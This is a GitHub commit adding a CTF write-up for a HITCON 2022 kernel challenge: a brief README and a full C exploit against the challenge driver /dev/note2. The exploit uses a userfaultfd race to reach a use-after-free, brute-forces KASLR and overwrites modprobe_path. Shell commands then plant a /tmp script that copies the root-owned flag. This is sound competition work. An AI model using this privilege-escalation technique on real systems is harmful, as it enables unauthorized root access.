Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 3f2a8a2

Browse files
hitcon writeups
1 parent 285ec39 commit 3f2a8a2

File tree

2 files changed

+323
-0
lines changed

2 files changed

+323
-0
lines changed

‎2022/hitcon-2022/kernel/README.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
Fourchain - Kernel
2+
==================
3+
4+
* Pretty straightforward UAF by racing edit and free using userfaultfd.
5+
* Wasn't able to figure out how to leak KASLR so I just bruteforced it.
6+
* Once we get the right UAF, we can just overwrite modprobe_path.

‎2022/hitcon-2022/kernel/solve.c

Lines changed: 317 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,317 @@
1+
#define _GNU_SOURCE
2+
3+
#include <stdio.h>
4+
#include <fcntl.h>
5+
#include <stdint.h>
6+
#include <err.h>
7+
#include <time.h>
8+
#include <string.h>
9+
#include <unistd.h>
10+
#include <sys/ioctl.h>
11+
#include <sys/stat.h>
12+
#include <sys/user.h>
13+
#include <pthread.h>
14+
#include <sys/syscall.h>
15+
#include <sys/types.h>
16+
#include <sys/ipc.h>
17+
#include <sys/msg.h>
18+
#include <string.h>
19+
#include <sys/mman.h>
20+
#include <linux/userfaultfd.h>
21+
#include <stdlib.h>
22+
#include <sys/socket.h>
23+
#include <errno.h>
24+
#include <unistd.h>
25+
#include <poll.h>
26+
#include <sys/shm.h>
27+
#include <sched.h>
28+
29+
#define IO_ADD 0xFFFFFF00
30+
#define IO_EDIT 0xFFFFFF01
31+
#define IO_SHOW 0xFFFFFF02
32+
#define IO_DEL 0xFFFFFF03
33+
34+
struct arg
35+
{
36+
uint64_t idx;
37+
uint64_t size;
38+
uint64_t addr;
39+
};
40+
41+
struct node
42+
{
43+
uint64_t key;
44+
uint64_t size;
45+
uint64_t addr;
46+
};
47+
48+
int fd;
49+
int leak_done = 0;
50+
uint64_t modprobe_path = 0;
51+
int start_idx = 0;
52+
53+
void msleep(int msecs) {
54+
usleep(msecs * 1000);
55+
}
56+
57+
void *ufd_thread(void *arg)
58+
{
59+
struct uffd_msg uf_msg;
60+
long uffd = (long)arg;
61+
struct pollfd pollfd;
62+
int nready;
63+
64+
pollfd.fd = uffd;
65+
pollfd.events = POLLIN;
66+
67+
while(poll(&pollfd, 1, -1) > 0)
68+
{
69+
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
70+
{
71+
perror("polling error");
72+
exit(-1);
73+
}
74+
// reading the event
75+
if(read(uffd, &uf_msg, sizeof(uf_msg)) == 0)
76+
{
77+
perror("error reading event");
78+
exit(-1);
79+
}
80+
if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
81+
{
82+
perror("unexpected result from event");
83+
exit(-1);
84+
}
85+
uint64_t addr = uf_msg.arg.pagefault.address;
86+
printf("caught a fulfill race @ %p\n", addr);
87+
88+
struct arg data;
89+
char buf2[256];
90+
memset(buf2, 0, sizeof(buf2));
91+
data.idx = start_idx;
92+
printf("Deleted: %d\n", ioctl(fd, IO_DEL, &data));
93+
data.size = 256;
94+
data.addr = buf2;
95+
printf("New: %d\n", ioctl(fd, IO_ADD, &data));
96+
printf("New: %d\n", ioctl(fd, IO_ADD, &data));
97+
// for (int i = 0; i < 0x10; i++) {
98+
// printf("New: %d\n", ioctl(fd, IO_ADD, &data));
99+
// }
100+
101+
char buf[0x1000];
102+
memset(buf, 0, sizeof(buf));
103+
struct node* node_buf = (struct node*)buf;
104+
node_buf->addr = modprobe_path;
105+
106+
struct uffdio_copy cp;
107+
cp.src = (uint64_t)buf;
108+
cp.dst = addr;
109+
cp.len = 0x1000;
110+
cp.mode = 0;
111+
112+
if(ioctl(uffd, UFFDIO_COPY, &cp) == -1)
113+
{
114+
perror("uffdio_copy error");
115+
exit(-1);
116+
}
117+
printf("Copy %llx\n", cp.copy);
118+
puts("Fulfill finished");
119+
}
120+
return 0;
121+
}
122+
123+
124+
void register_userfaultfd(void *addr)
125+
{
126+
int uffd, race;
127+
struct uffdio_api uf_api;
128+
struct uffdio_register uf_register;
129+
pthread_t thread;
130+
131+
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
132+
uf_api.api = UFFD_API;
133+
uf_api.features = 0;
134+
135+
// creating userfaultfd for race condition because using unlocked_ioctl without locking mutexes
136+
if (ioctl(uffd, UFFDIO_API, &uf_api) == -1)
137+
{
138+
perror("error with the uffdio_api");
139+
exit(-1);
140+
}
141+
142+
uf_register.range.start = (uintptr_t)addr;
143+
uf_register.range.len = 0x1000;
144+
uf_register.mode = UFFDIO_REGISTER_MODE_MISSING;
145+
146+
// uffd will change when the kernel thread page faults here and hangs
147+
if (ioctl(uffd, UFFDIO_REGISTER, &uf_register) == -1)
148+
{
149+
perror("error registering page for userfaultfd");
150+
}
151+
152+
race = pthread_create(&thread, NULL, ufd_thread, (void*)uffd);
153+
if(race != 0)
154+
{
155+
perror("can't setup threads for race");
156+
}
157+
return;
158+
}
159+
160+
static int shmid[4096];
161+
static void *shmaddr[0x100];
162+
163+
void alloc_shm(int i)
164+
{
165+
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
166+
167+
if (shmid[i] < 0)
168+
{
169+
perror("[X] shmget fail");
170+
exit(1);
171+
}
172+
173+
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
174+
175+
if (shmaddr[i] < 0)
176+
{
177+
perror("[X] shmat");
178+
exit(1);
179+
}
180+
}
181+
182+
183+
void print_affinity()
184+
{
185+
cpu_set_t mask;
186+
long ncpu, i;
187+
188+
if (sched_getaffinity(getpid(), sizeof(cpu_set_t), &mask) < 0)
189+
{
190+
perror("[X] sched_getaffinity()");
191+
exit(1);
192+
}
193+
194+
ncpu = sysconf(_SC_NPROCESSORS_ONLN);
195+
puts("[*] CPU affinity:");
196+
197+
for (i = 0; i < ncpu; i++)
198+
printf(" └ Core #%d = %d\n", i, CPU_ISSET(i, &mask));
199+
}
200+
201+
void assign_to_core(int core_id)
202+
{
203+
cpu_set_t mask;
204+
pid_t pid;
205+
206+
pid = getpid();
207+
208+
printf("[*] Assigning process %d to core %d\n", pid, core_id);
209+
210+
CPU_ZERO(&mask);
211+
CPU_SET(core_id, &mask);
212+
213+
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
214+
{
215+
perror("[X] sched_setaffinity()");
216+
exit(1);
217+
}
218+
219+
print_affinity();
220+
}
221+
222+
int main(int argc, char** argv) {
223+
assign_to_core(0);
224+
system("cat /proc/kallsyms | grep note2 | grep table");
225+
226+
system("rm -f /tmp/x; rm -f /tmp/a");
227+
system("echo -ne '#!/bin/sh\\ncat /root/flag > /sice\\nchmod 777 /sice\\n' > /tmp/x");
228+
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/a");
229+
system("chmod 777 /tmp/*");
230+
231+
uint64_t kaslr;
232+
if (argc > 1) {
233+
sscanf(argv[1], "%llx", &kaslr);
234+
} else {
235+
kaslr = 0xffffffffb4000000;
236+
}
237+
modprobe_path = kaslr + 0x1654b20;
238+
printf("Modprobe_path: 0x%llx\n", modprobe_path);
239+
240+
if (argc > 2) {
241+
start_idx = atoi(argv[2]);
242+
}
243+
244+
fd = open("/dev/note2", O_RDWR);
245+
printf("Fd: %d\n", fd);
246+
247+
void * leak_addr = 0x700000000000ULL;
248+
if (mmap(leak_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) != leak_addr)
249+
{
250+
perror("whoopsie doopsie on mmap A");
251+
exit(-1);
252+
}
253+
register_userfaultfd(leak_addr);
254+
255+
for (int i = 0; i < 0; i++) {
256+
alloc_shm(i);
257+
}
258+
259+
struct arg data;
260+
data.size = 32;
261+
char buf[32];
262+
memset(buf, 0, sizeof(buf));
263+
data.addr = buf;
264+
ioctl(fd, IO_ADD, &data);
265+
266+
//getchar();
267+
268+
data.idx = start_idx;
269+
data.addr = leak_addr;
270+
ioctl(fd, IO_EDIT, &data);
271+
272+
//getchar();
273+
274+
uint64_t buf_out[0x200/8];
275+
data.addr = buf_out;
276+
data.idx = start_idx+1;
277+
ioctl(fd, IO_SHOW, &data);
278+
printf("%llx %llx %llx %llx\n", buf_out[0], buf_out[1], buf_out[2], buf_out[3]);
279+
280+
uint64_t combined = buf_out[0] ^ buf_out[1];
281+
if(combined != 0x6f6d4a0c0610034bULL) {
282+
printf("Offset Nearby: 0x%llx\n", combined);
283+
int off = -100;
284+
if (combined == 0xffffffff8bd0fc75ULL) off = -8;
285+
else if (combined == (0xfee073e6fee073faULL ^ 0xfee073c1fee073dbULL)) off = -7;
286+
else if (combined == (0x0a2363fdf5f00523ULL ^ 0xf3925f616c6e2df0ULL)) off = -6;
287+
else if (combined == (0x20646c697562206fULL ^ 0x797469746e656469ULL)) off = -5;
288+
else if (combined == (0x000024d6000302ffULL ^ 0x000024c600027311ULL)) off = -4;
289+
else if (combined == (0x0000026d00000028ULL ^ 0x0000000000000055ULL)) off = -3;
290+
else if (combined == (0x785f5f003233656dULL ^ 0x695f7379735f3436ULL)) off = -2;
291+
else if (combined == (0x5f7061636e655f6cULL ^ 0x656e65670073706fULL)) off = -1;
292+
else if (combined == (0x0000000000000000ULL ^ 0x0000000000000000ULL)) off = 1;
293+
else if (combined == (0xffffffff8bd9d6e0ULL ^ 0xffffffff8bd1ea74ULL)) off = 2;
294+
else if (combined == (0xfec1e21afec1e21dULL ^ 0xfec1e217fec1e217ULL)) off = 3;
295+
else if (combined == (0x0008000000000000ULL ^ 0x0000000000050000ULL)) off = 4;
296+
else if (combined == (0x0005000000080000ULL ^ 0x0008000000000000ULL)) off = 5;
297+
298+
uint64_t new_base = kaslr - off*0x100000ULL;
299+
char kekw[1000];
300+
sprintf(kekw, "./kekw %llx 2", new_base);
301+
printf("%s\n", kekw);
302+
system(kekw);
303+
return;
304+
} else {
305+
puts("CORRECT");
306+
}
307+
308+
uint64_t xor_key = 0x6f6d2f6e6962732fULL ^ buf_out[0];
309+
memset(buf_out, 0, sizeof(buf_out));
310+
buf_out[0] = 0x782f706d742fULL ^ xor_key;
311+
312+
ioctl(fd, IO_EDIT, &data);
313+
314+
system("/tmp/a; cat /sice");
315+
316+
//getchar();
317+
}

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /